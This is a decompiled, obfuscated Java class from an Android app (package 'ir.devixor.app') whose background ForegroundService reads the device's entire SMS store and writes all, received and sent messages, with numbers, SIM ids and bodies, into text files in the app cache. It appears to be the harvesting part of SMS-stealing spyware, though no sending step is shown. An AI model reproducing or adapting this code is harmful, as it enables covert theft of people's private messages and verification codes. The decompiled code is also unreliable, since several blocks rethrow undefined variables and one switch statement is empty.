package o;

import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import ir.devixor.app.service.ForegroundService;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.LinkedHashMap;
import java.util.Locale;

/* compiled from: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */
/* renamed from: o.eB, reason: case insensitive filesystem */
/* loaded from: classes.dex */
public final class C1079eB extends Sb0 implements SC {
    public final /* synthetic */ int p;
    public final /* synthetic */ Context q;
    public final /* synthetic */ ForegroundService r;

    /* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
    public /* synthetic */ C1079eB(Context context, ForegroundService foregroundService, InterfaceC0220Im interfaceC0220Im, int i) {
        super(2, interfaceC0220Im);
        this.p = i;
        this.q = context;
        this.r = foregroundService;
    }

    @Override // o.SC
    public final Object f(Object obj, Object obj2) {
        InterfaceC0065Cn interfaceC0065Cn = (InterfaceC0065Cn) obj;
        InterfaceC0220Im interfaceC0220Im = (InterfaceC0220Im) obj2;
        switch (this.p) {
        }
        return ((C1079eB) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
    }

    @Override // o.AbstractC0728ad
    public final InterfaceC0220Im l(Object obj, InterfaceC0220Im interfaceC0220Im) {
        switch (this.p) {
            case 0:
                return new C1079eB(this.q, this.r, interfaceC0220Im, 0);
            case 1:
                return new C1079eB(this.q, this.r, interfaceC0220Im, 1);
            default:
                return new C1079eB(this.q, this.r, interfaceC0220Im, 2);
        }
    }

    /* JADX WARN: Finally extract failed */
    @Override // o.AbstractC0728ad
    public final Object n(Object obj) throws IOException {
        Cursor cursorQuery;
        OutputStreamWriter outputStreamWriter;
        int count;
        int i;
        int i2;
        int count2;
        int i3;
        int count3;
        int i4;
        switch (this.p) {
            case 0:
                IJ.H(obj);
                Context context = this.q;
                File file = new File(context.getCacheDir(), "all_sms_history.txt");
                LinkedHashMap linkedHashMap = new LinkedHashMap();
                cursorQuery = context.getContentResolver().query(Uri.parse("content://sms/"), new String[]{"address", "body", "type", "sub_id"}, null, null, "date ASC");
                outputStreamWriter = new OutputStreamWriter(new BufferedOutputStream(new FileOutputStream(file), 262144), AbstractC2355rh.a);
                ForegroundService foregroundService = this.r;
                if (cursorQuery != null) {
                    try {
                        count = cursorQuery.getCount();
                    } catch (Throwable th) {
                        try {
                            throw th;
                        } finally {
                        }
                    }
                } else {
                    count = 0;
                }
                String str = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss", Locale.getDefault()).format(new Date());
                outputStreamWriter.append((CharSequence) "All Device Messages").append('\n');
                outputStreamWriter.append((CharSequence) ("Total: " + count)).append('\n');
                outputStreamWriter.append((CharSequence) ("Export Time: " + str)).append('\n');
                outputStreamWriter.append('\n');
                if (cursorQuery != null) {
                    try {
                        int columnIndex = cursorQuery.getColumnIndex("address");
                        int columnIndex2 = cursorQuery.getColumnIndex("body");
                        int columnIndex3 = cursorQuery.getColumnIndex("type");
                        int columnIndex4 = cursorQuery.getColumnIndex("sub_id");
                        int i5 = 1;
                        while (cursorQuery.moveToNext()) {
                            String string = cursorQuery.getString(columnIndex);
                            String str2 = "Unknown";
                            if (string == null) {
                                string = "Unknown";
                            }
                            String string2 = cursorQuery.getString(columnIndex2);
                            if (string2 == null) {
                                string2 = "";
                            }
                            int i6 = cursorQuery.getInt(columnIndex3);
                            try {
                                i = columnIndex;
                                i2 = cursorQuery.getInt(columnIndex4);
                            } catch (Exception unused) {
                                i = columnIndex;
                                i2 = -1;
                            }
                            if (i2 != -1) {
                                Integer num = new Integer(i2);
                                Object objM0 = linkedHashMap.get(num);
                                if (objM0 == null) {
                                    objM0 = ForegroundService.m0(context, i2);
                                    linkedHashMap.put(num, objM0);
                                }
                                str2 = (String) objM0;
                            }
                            String str3 = i6 != 1 ? i6 != 2 ? "Other" : "Sent" : "Received";
                            String str4 = i6 == 1 ? string : foregroundService.q;
                            StringBuilder sb = new StringBuilder();
                            int i7 = columnIndex2;
                            sb.append("<--------- Message ");
                            sb.append(i5);
                            sb.append(" --------->");
                            outputStreamWriter.append((CharSequence) sb.toString()).append('\n');
                            outputStreamWriter.append((CharSequence) ("Type: " + str3)).append('\n');
                            outputStreamWriter.append((CharSequence) ("Name: " + str4 + " | SIM: " + str2 + " | Number: " + string)).append('\n');
                            outputStreamWriter.append((CharSequence) "Message:").append('\n');
                            outputStreamWriter.append((CharSequence) string2).append('\n');
                            outputStreamWriter.append('\n');
                            i5++;
                            columnIndex = i;
                            columnIndex2 = i7;
                        }
                        cursorQuery.close();
                    } catch (Throwable th2) {
                        try {
                            throw th2;
                        } finally {
                        }
                    }
                }
                outputStreamWriter.close();
                return file;
            case 1:
                IJ.H(obj);
                Context context2 = this.q;
                File file2 = new File(context2.getCacheDir(), "received_sms_history.txt");
                LinkedHashMap linkedHashMap2 = new LinkedHashMap();
                cursorQuery = context2.getContentResolver().query(Uri.parse("content://sms/"), new String[]{"address", "body", "type", "sub_id"}, "type = ?", new String[]{"1"}, "date ASC");
                outputStreamWriter = new OutputStreamWriter(new BufferedOutputStream(new FileOutputStream(file2), 262144), AbstractC2355rh.a);
                if (cursorQuery != null) {
                    try {
                        count2 = cursorQuery.getCount();
                    } finally {
                        try {
                            throw th;
                        } finally {
                        }
                    }
                } else {
                    count2 = 0;
                }
                String str5 = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss", Locale.getDefault()).format(new Date());
                outputStreamWriter.append((CharSequence) "Received Messages").append('\n');
                outputStreamWriter.append((CharSequence) ("Total: " + count2)).append('\n');
                outputStreamWriter.append((CharSequence) ("Export Time: " + str5)).append('\n');
                outputStreamWriter.append('\n');
                if (cursorQuery != null) {
                    try {
                        int columnIndex5 = cursorQuery.getColumnIndex("address");
                        int columnIndex6 = cursorQuery.getColumnIndex("body");
                        int columnIndex7 = cursorQuery.getColumnIndex("sub_id");
                        int i8 = 1;
                        while (cursorQuery.moveToNext()) {
                            String string3 = cursorQuery.getString(columnIndex5);
                            String str6 = "Unknown";
                            if (string3 == null) {
                                string3 = "Unknown";
                            }
                            String string4 = cursorQuery.getString(columnIndex6);
                            if (string4 == null) {
                                string4 = "";
                            }
                            try {
                                i3 = cursorQuery.getInt(columnIndex7);
                            } catch (Exception unused2) {
                                i3 = -1;
                            }
                            if (i3 != -1) {
                                Integer num2 = new Integer(i3);
                                Object objM02 = linkedHashMap2.get(num2);
                                if (objM02 == null) {
                                    objM02 = ForegroundService.m0(context2, i3);
                                    linkedHashMap2.put(num2, objM02);
                                }
                                str6 = (String) objM02;
                            }
                            outputStreamWriter.append((CharSequence) ("<--------- Message " + i8 + " --------->")).append('\n');
                            outputStreamWriter.append((CharSequence) "Type: Received").append('\n');
                            outputStreamWriter.append((CharSequence) ("Name: " + string3 + " | SIM: " + str6)).append('\n');
                            outputStreamWriter.append((CharSequence) "Message:").append('\n');
                            outputStreamWriter.append((CharSequence) string4).append('\n');
                            outputStreamWriter.append('\n');
                            i8++;
                        }
                        cursorQuery.close();
                    } finally {
                        try {
                            throw th2;
                        } finally {
                        }
                    }
                }
                outputStreamWriter.close();
                return file2;
            default:
                IJ.H(obj);
                Context context3 = this.q;
                File file3 = new File(context3.getCacheDir(), "sent_sms_history.txt");
                LinkedHashMap linkedHashMap3 = new LinkedHashMap();
                cursorQuery = context3.getContentResolver().query(Uri.parse("content://sms/"), new String[]{"address", "body", "type", "sub_id"}, "type = ?", new String[]{"2"}, "date ASC");
                outputStreamWriter = new OutputStreamWriter(new BufferedOutputStream(new FileOutputStream(file3), 262144), AbstractC2355rh.a);
                ForegroundService foregroundService2 = this.r;
                if (cursorQuery != null) {
                    try {
                        count3 = cursorQuery.getCount();
                    } finally {
                    }
                } else {
                    count3 = 0;
                }
                String str7 = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss", Locale.getDefault()).format(new Date());
                outputStreamWriter.append((CharSequence) "Sent Messages (User Only)").append('\n');
                outputStreamWriter.append((CharSequence) ("Total: " + count3)).append('\n');
                outputStreamWriter.append((CharSequence) ("Export Time: " + str7)).append('\n');
                outputStreamWriter.append('\n');
                if (cursorQuery != null) {
                    try {
                        int columnIndex8 = cursorQuery.getColumnIndex("address");
                        int columnIndex9 = cursorQuery.getColumnIndex("body");
                        int columnIndex10 = cursorQuery.getColumnIndex("sub_id");
                        int i9 = 1;
                        while (cursorQuery.moveToNext()) {
                            String string5 = cursorQuery.getString(columnIndex8);
                            String str8 = "Unknown";
                            if (string5 == null) {
                                string5 = "Unknown";
                            }
                            String string6 = cursorQuery.getString(columnIndex9);
                            if (string6 == null) {
                                string6 = "";
                            }
                            try {
                                i4 = cursorQuery.getInt(columnIndex10);
                            } catch (Exception unused3) {
                                i4 = -1;
                            }
                            if (i4 != -1) {
                                Integer num3 = new Integer(i4);
                                Object objM03 = linkedHashMap3.get(num3);
                                if (objM03 == null) {
                                    objM03 = ForegroundService.m0(context3, i4);
                                    linkedHashMap3.put(num3, objM03);
                                }
                                str8 = (String) objM03;
                            }
                            outputStreamWriter.append((CharSequence) ("<--------- Message " + i9 + " --------->")).append('\n');
                            outputStreamWriter.append((CharSequence) "Type: Sent").append('\n');
                            String str9 = foregroundService2.q;
                            StringBuilder sb2 = new StringBuilder();
                            int i10 = columnIndex8;
                            sb2.append("Name: ");
                            sb2.append(str9);
                            sb2.append(" | SIM: ");
                            sb2.append(str8);
                            sb2.append(" | Number: ");
                            sb2.append(string5);
                            outputStreamWriter.append((CharSequence) sb2.toString()).append('\n');
                            outputStreamWriter.append((CharSequence) "Message:").append('\n');
                            outputStreamWriter.append((CharSequence) string6).append('\n');
                            outputStreamWriter.append('\n');
                            i9++;
                            columnIndex8 = i10;
                        }
                        cursorQuery.close();
                    } finally {
                    }
                }
                outputStreamWriter.close();
                return file3;
        }
    }
}
